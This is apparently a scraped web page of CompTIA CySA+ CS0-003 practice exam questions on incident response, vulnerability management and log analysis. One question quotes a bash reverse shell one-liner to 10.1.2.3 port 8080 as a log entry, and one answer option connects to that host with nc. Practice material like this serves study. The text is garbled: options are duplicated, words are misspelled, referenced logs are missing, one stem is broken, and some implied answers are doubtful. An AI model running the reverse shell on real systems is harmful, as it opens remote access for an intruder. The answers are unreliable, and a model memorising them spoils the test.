A security analyst is reviewing the logs of a web server and notices that an attacker has attempted to exploit a SQL injection vulnerability. Which of the following tools can the analyst use to analyze the attack and prevent future attacks?

A network intrusion detection system

A security team identified several rogue Wi-Fi access points during the most recent network scan.The network scans occur once per quarter. Which of the following controls would best all ow the organization to identity rogue devices more quickly?

Implement a continuous monitoring policy.

Implement a portable wireless scanning policy.

Change the frequency of network scans to once per month.

An analyst needs to provide recommendations based on a recent vulnerability scan: Which of the following should the analyst recommend addressing to ensure potential vulnerabilities are identified?

Scan not performed with admin privileges

SMB use domain SID to enumerate users

SSL certificate cannot be trusted

Scan not performed with admin privileges

A security analyst recently used Arachni to perform a vulnerability assessment of a newly developed web application. The analyst is concerned about the following output:[+] XSS: In form input 'txtSearch' with action https://localhost/search.aspx[-] XSS: Analyzing response #1...[-] XSS: Analyzing response #2...[-] XSS: Analyzing response #3...[+] XSS: Response is tainted. Looking for proof of the vulnerability.Which of the following is the most likely reason for this vulnerability?

The developer did not set proper cross-site scripting protections in the header.

The developer set input validation protection on the specific field of search.aspx.

The developer did not set proper cross-site scripting protections in the header.

The developer did not implement default protections in the web application build.

The developer did not set proper cross-site request forgery protections.

A SIEM alert is triggered based on execution of a suspicious one-liner on two workstations in the organization's environment. An analyst views the details of these events below: Which of the following statements best describes the intent of the attacker, based on this one-liner?

Attacker is utilizing custom malware to download an additional script.

Attacker is escalating privileges via JavaScript.

Attacker is utilizing custom malware to download an additional script.

Attacker is executing PowerShell script 'AccessToken.psr.

Attacker is attempting to install persistence mechanisms on the target machine.

A payroll department employee was the target of a phishing attack in which an attacker impersonated a department director and requested that direct deposit information be updated to a new account. Afterward, a deposit was made into the unauthorized account. Which of the following is one of the first actions the incident response team should take when they receive notification of the attack?

Review the actions taken by the employee and the email related to the event

Scan the employee's computer with virus and malware tools.

Review the actions taken by the employee and the email related to the event

Contact human resources and recommend the termination of the employee.

Assign security awareness training to the employee involved in the incident.

Which of the following is the most important reason for an incident response team to develop a formal incident declaration?

To identify and document staff who have the authority to declare an incident

To require that an incident be reported through the proper channels

To identify and document staff who have the authority to declare an incident

To allow for public disclosure of a security event impacting the organization

To establish the department that is responsible for responding to an incident

Which of following would best mitigate the effects of a new ransomware attack that was not properly stopped by the company antivirus?

Implement vulnerability management.

Update the application blocklist.

During an internal code review, software called 'ACE' was discovered to have a vulnerability that allows the execution of arbitrary code. The vulnerability is in a legacy, third-party vendor resource that is used by the ACE software. ACE is used worldwide and is essential for many businesses in this industry. Developers informed the Chief Information Security Officer that removal of the vulnerability will take time. Which of the following is the first action to take?

Develop a compensating control until the issue can be fixed permanently.

Look for potential loCs in the company.

Inform customers of the vulnerability.

Remove the affected vendor resource from the ACE software.

Develop a compensating control until the issue can be fixed permanently.

An analyst is suddenly unable to enrich data from the firewall. However, the other open intelligence feeds continue to work. Which of the following is the most likely reason the firewall feed stopped working?

The firewall certificate expired.

The firewall service account was locked out.

The firewall was using a paid feed.

The firewall certificate expired.

A vulnerability management team found four major vulnerabilities during an assessment and needs to provide a report for the proper prioritization for further mitigation. Which of the following vulnerabilities should have the highest priority for the mitigation process?

A vulnerability that is related to a specific adversary campaign, with loCs found in the SIEM

A vulnerability that has related threats and loCs, targeting a different industry

A vulnerability that is related to a specific adversary campaign, with loCs found in the SIEM

A vulnerability that has no adversaries using it or associated loCs

A vulnerability that is related to an isolated system, with no loCs

A security analyst is reviewing events that occurred during a possible compromise. The analyst obtains the following log: Which of the following is most likely occurring, based on the events in the log?

An adversary is performing a vulnerability scan.

An adversary is attempting to find the shortest path of compromise.

An adversary is performing a vulnerability scan.

An adversary is escalating privileges.

An adversary is performing a password stuffing attack. .

AXSS vulnerability was reported on one of the non-sensitive/non-mission-critical public websites of a company. The security department confirmed the finding and needs to provide a recommendation to the application owner. Which of the following recommendations will best prevent this vulnerability from being exploited? (Select two).

Implement a compensating control in the source code.

Fix the vulnerability using a virtual patch at the WAF.

Implement an IPS in front of the web server.

Take the website offline until it is patched.

Implement a compensating control in the source code.

Configure TLS v1.3 on the website.

Fix the vulnerability using a virtual patch at the WAF.

Which of the following techniques can help a SOC team to reduce the number of alerts related to the internal security activities that the analysts have to triage?

Schedule a task to disable alerting when vulnerability scans are executing.

Enrich the SIEM-ingested data to include all data required for triage.

Schedule a task to disable alerting when vulnerability scans are executing.

Filter all alarms in the SIEM with low severity.

Add a SOAR rule to drop irrelevant and duplicated notifications.

A security analyst needs to mitigate a known, exploited vulnerability related not tack vector that embeds software through the USB interface. Which of the following should the analyst do first?

Check configurations to determine whether USB ports are enabled on company assets.

Conduct security awareness training on the risks of using unknown and unencrypted USBs.

Write a removable media policy that explains that USBs cannot be connected to a company asset.

Check configurations to determine whether USB ports are enabled on company assets.

Review logs to see whether this exploitable vulnerability has already impacted the company.

A company is deploying new vulnerability scanning software to assess its systems. The current network is highly segmented, and the networking team wants to minimize the number of unique firewall rules. Which of the following scanning techniques would be most efficient to achieve the objective?

Deploy agents on all systems to perform the scans.

Deploy a central scanner and perform non-credentialed scans.

Deploy a cloud-based scanner and perform a network scan.

Deploy a scanner sensor on every segment and perform credentialed scans.

A security analyst identified the following suspicious entry on the host-based IDS logs:bash -i >& /dev/tcp/10.1.2.3/8080 0>&1Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

#!/bin/bash netstat -antp Igrep 8080 >dev/null && echo 'Malicious activity' I| echo 'OK'

#!/bin/bash nc 10.1.2.3 8080 -vv >dev/null && echo 'Malicious activity' Il echo 'OK'

#!/bin/bash ps -fea | grep 8080 >dev/null && echo 'Malicious activity' I| echo 'OK'

#!/bin/bash ls /opt/tcp/10.1.2.3/8080 >dev/null && echo 'Malicious activity' I| echo 'OK'

#!/bin/bash netstat -antp Igrep 8080 >dev/null && echo 'Malicious activity' I| echo 'OK'

A vulnerability analyst received a list of system vulnerabilities and needs to evaluate the relevant impact of the exploits on the business. Given the constraints of the current sprint, only three can be remediated. Which of the following represents the least impactful risk, given the CVSS3.1 base scores?

AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L - Base Score 6.0

AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:L - Base Score 7.2

AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H - Base Score 6.4

AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L - Base Score 6.5

CompTIA CS0-003 Practice Test 5 - Free Online Exam Questions 161-200

During an incident, analysts need to rapidly investigate by the investigation and leadership teams.

Which of the following best describes how PII should be safeguarded during an incident?

Become a Premium Member for full access

Unlock Premium Member

CompTIA CS0-003 Practice Test 5

Question

CompTIA CS0-003 Practice Tests

Practice Tests